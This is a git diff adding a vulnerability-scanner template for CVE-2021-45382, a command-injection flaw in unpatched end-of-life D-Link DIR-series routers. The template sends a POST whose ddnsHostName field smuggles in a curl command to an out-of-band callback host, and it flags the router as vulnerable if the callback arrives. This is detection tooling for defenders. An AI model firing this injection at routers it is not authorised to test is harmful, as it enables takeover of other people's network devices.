diff --git a/http/cves/2021/CVE-2021-45382.yaml b/http/cves/2021/CVE-2021-45382.yaml new file mode 100644 index 0000000000..0bbaba9bbd --- /dev/null +++ b/http/cves/2021/CVE-2021-45382.yaml @@ -0,0 +1,48 @@ +id: CVE-2021-45382 + +info: + name: D-Link - Remote Command Execution + author: king-alexander + severity: critical + description: | + A Remote Command Execution (RCE) vulnerability exists in all series H/W revisions D-link DIR-810L, DIR-820L/LW, DIR-826L, DIR-830L, and DIR-836L routers via the DDNS function in ncc2 binary file + remediation: | + DIR-810L, DIR-820L, DIR-830L, DIR-826L, DIR-836L, all hardware revisions, have reached their End of Life ("EOL") /End of Service Life ("EOS") Life-Cycle and as such this issue will not be patched. + reference: + - https://nvd.nist.gov/vuln/detail/CVE-2021-45382 + - https://supportannouncement.us.dlink.com/announcement/publication.aspx?name=SAP10264 + - https://github.com/doudoudedi/D-LINK_Command_Injection1/blob/main/D-LINK_Command_injection.md#poc + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H + cvss-score: 9.8 + cwe-id: CWE-78 + epss-score: 0.94604 + epss-percentile: 0.99036 + cpe: cpe:2.3:o:dlink:dir-820l_firmware:-:*:*:*:*:*:*:* + metadata: + max-request: 1 + vendor: dlink + product: dir-820l_firmware + tags: cve,cve2021,dlink,kev,rce + +variables: + string1: "{{to_lower(rand_base(5))}}" + string2: "{{to_lower(rand_base(6))}}" + +http: + - method: POST + path: + - "{{BaseURL}}/ddns_check.ccp" + body: "ccp_act=doCheck&ddnsHostName=;curl https://{{interactsh-url}};&ddnsUsername={{string1}}&ddnsPassword={{string2}}" + + matchers-condition: and + matchers: + - type: word + part: interactsh_protocol + words: + - http + + - type: word + part: interactsh_request + words: + - "User-Agent: curl"